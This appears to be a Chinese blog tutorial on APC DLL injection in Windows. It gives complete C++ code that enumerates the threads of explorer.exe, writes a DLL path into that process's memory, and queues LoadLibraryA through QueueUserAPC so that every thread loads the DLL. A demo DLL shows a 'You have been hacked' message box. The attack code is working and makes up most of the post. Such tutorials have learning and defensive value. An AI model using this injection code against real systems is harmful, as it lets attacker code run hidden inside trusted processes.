首页 > 系统相关 >Windows黑客编程之APC注入

Windows黑客编程之APC注入

时间:2023-02-19 23:11:14浏览次数:41  
标签:bRet FALSE pThreadId Windows dll 黑客 APC NULL

描述

  • 获取目标进程的每一个线程,向APC队列中插入LoadLibrary函数,配合dll路径参数,可以实现在目标进程中注入dll

准备知识

APC注入

  • 每个线程都有自己的APC队列,当线程挂起进入可通知状态时,会执行APC队列中的函数
  • 如果在目标进程中写入dll路径,在APC队列中插入LoadLibrary函数,参数设为dll路径,则线程状态改变时,会调用加载函数,加载dll
  • 为了确保能执行插入的APC,应该在目标进程的每一个线程中都插入APC函数

指针和引用传参

  • 本质上都是传的地址,可以改变实参的值
  • 二级指针传参,即实参用一级指针的地址,形参用二级指针,通过这种方式可以同时改变原一级指针的指向和其指向的值

代码

  • 分为注入程序和dll程序

注入程序

  • 外壳代码,设置目标程序名和注入dll的路径
// APC_Test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "APCInject.h"


int _tmain(int argc, _TCHAR* argv[])
{
	BOOL bRet = FALSE;

	// APC注入
#ifdef _WIN64
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\dflac_961unic\\Desktop\\TestDll2.dll");
#else
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\DemonGan\\Desktop\\APC_Test\\Debug\\TestDll.dll");
#endif
	if (bRet)
	{
		printf("APC Inject OK.\n");
	}
	else
	{
		printf("APC Inject ERROR.\n");
	}

	system("pause");
	return 0;
}
  • 根据程序名获取ID:使用进程快照
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	// 获取进程快照
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (NULL == hSnapshot)
	{
		ShowError("CreateToolhelp32Snapshot");
		return dwProcessId;
	}

	// 获取第一条进程快照信息
	bRet = ::Process32First(hSnapshot, &pe32);
	while (bRet)
	{
		// 获取快照信息
		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}

		// 遍历下一个进程快照信息
		bRet = ::Process32Next(hSnapshot, &pe32);
	}

	return dwProcessId;
}
  • 根据进程ID获取其所有线程ID:这里使用了二级指针,实参一级指针,通过形参可以改变实参的指向,使其指向线程ID数组
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	do
	{
		// 申请内存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			ShowError("new");
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

		// 获取线程快照
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (NULL == hSnapshot)
		{
			ShowError("CreateToolhelp32Snapshot");
			bRet = FALSE;
			break;
		}

		// 获取第一条线程快照信息
		bRet = ::Thread32First(hSnapshot, &te32);
		while (bRet)
		{
			// 获取进程对应的线程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}

			// 遍历下一个线程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

		// 返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[]pThreadId;
			pThreadId = NULL;
		}
	}

	return bRet;
}
  • APC注入函数:打开目标进程,申请内存,写入dll路径,获取loadlibrary地址,遍历目标进程的所有线程,向其APC队列中插入loadlibrary函数和dll路径参数
BOOL ApcInjectDll(const char* pszProcessName, const char* pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	DWORD i = 0;
	char newFileName[100];

	do
	{
		strcpy_s(newFileName, pszProcessName);
		dwProcessId = GetProcessIdByProcessName(newFileName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}

		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		for (i = 0; i < dwThreadIdLength; i++)
		{
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				CloseHandle(hThread);
				hThread = NULL;
			}
		}
		bRet = TRUE;
	} while (FALSE);

	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[] pThreadId;
		pThreadId = NULL;
	}
	return bRet;
}

dll程序

  • 在dllmain中调用一个messagebox,实现dll加载时弹窗提示
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        ::MessageBox(NULL, "You have been hacked, hahaha!", "From APC!", MB_OK | MB_ICONWARNING);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

结果

  • 运行注入程序,成功在explorer进程中注入TestDll2.dll,弹窗提示

标签:bRet,FALSE,pThreadId,Windows,dll,黑客,APC,NULL
From: https://www.cnblogs.com/z5onk0/p/17135900.html

相关文章

  • Windows黑客编程之远线程注入
    描述通过在进程中创建线程的方式,将dll注入到目标进程准备知识远线程注入的原理在目标进程空间内申请一段内存,写入dll的路径,然后利用ZwCreateThreadEx函数在目标进程......
  • Windows黑客编程之全局钩子
    描述通过全局钩子监听windows消息,消息发生时,系统会将包含钩子回调函数的dll注入到所有进程中准备知识利用全局钩子进行dll注入windows的钩子机制用于监听系统消息并......
  • Azure 在 windows 11 下的 终端模式是如何操作?
    使用AzureCLI登录Azure命令行接口(CLI)又几种身份验证类型,那么如何登录?最简单的入门方法是使用 AzureCloudShell,这样可以自动登录。在本地,可以通过浏览器使......
  • Windows Hyper-v 开启嵌套虚拟化的方法
     1、要实现hyper-v嵌套虚拟化,首先,我们以管理员身份打开powershell2、在命令行中输入get-vm,列出我们自己的虚拟机PSC:\Users\Windows>Get-VM3、输入Get-VMP......
  • esxi6.7不能向windows虚拟机发送ctrl+alt+del的解决方法
    esxi6.7不能向windows虚拟机发送ctrl+alt+del的解决方法grmrh于2022-08-0617:37:37发布1553收藏1分类专栏:VMwareHorizonView桌面虚拟化文章标签:服务器linux......
  • CMake在Windows环境下Visual Studio Code的使用
    在Windows环境下,使用CMake可以帮助我们更方便地管理和构建C++项目。而在使用CMake的过程中,我们可以使用任何一个编辑器,包括VSCode,来编辑和构建我们的代码。本文将介绍如何......
  • powershell-管理windows update自动补丁更新
    #需要使用powershell5.0以上版本Install-ModulePSWindowsUpdate#检查管理员权限if(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]:......
  • Wintel联盟:Windows+Intel  PC时代的“双霸主神话”
     正所谓,时势造英雄。 1981年8月12日,IBM公司正式推出全球第一台个人电脑IBM5150。当时,IBM为了加速研发进度一改公司传统,IBM5150采用通用标准部件,开放除BIOS以外的......
  • Windows系统发展简史
    1983年11月10日,为向IBM公司研发的计算机提供图形用户界面和多任务环境的操作系统,微软公司在纽约广场酒店宣布开发MicrosoftWindows;同月,微软公司CEO比尔·盖茨向IBM展示了......
  • Elasticsearch:Windows 7.17.7 安装
    1.下载ElasticSearchElasticSearch下载地址https://www.elastic.co/cn/downloads/past-releases#elasticsearch根据需要,选择对应的版本下载:2.安装ElasticSearch在......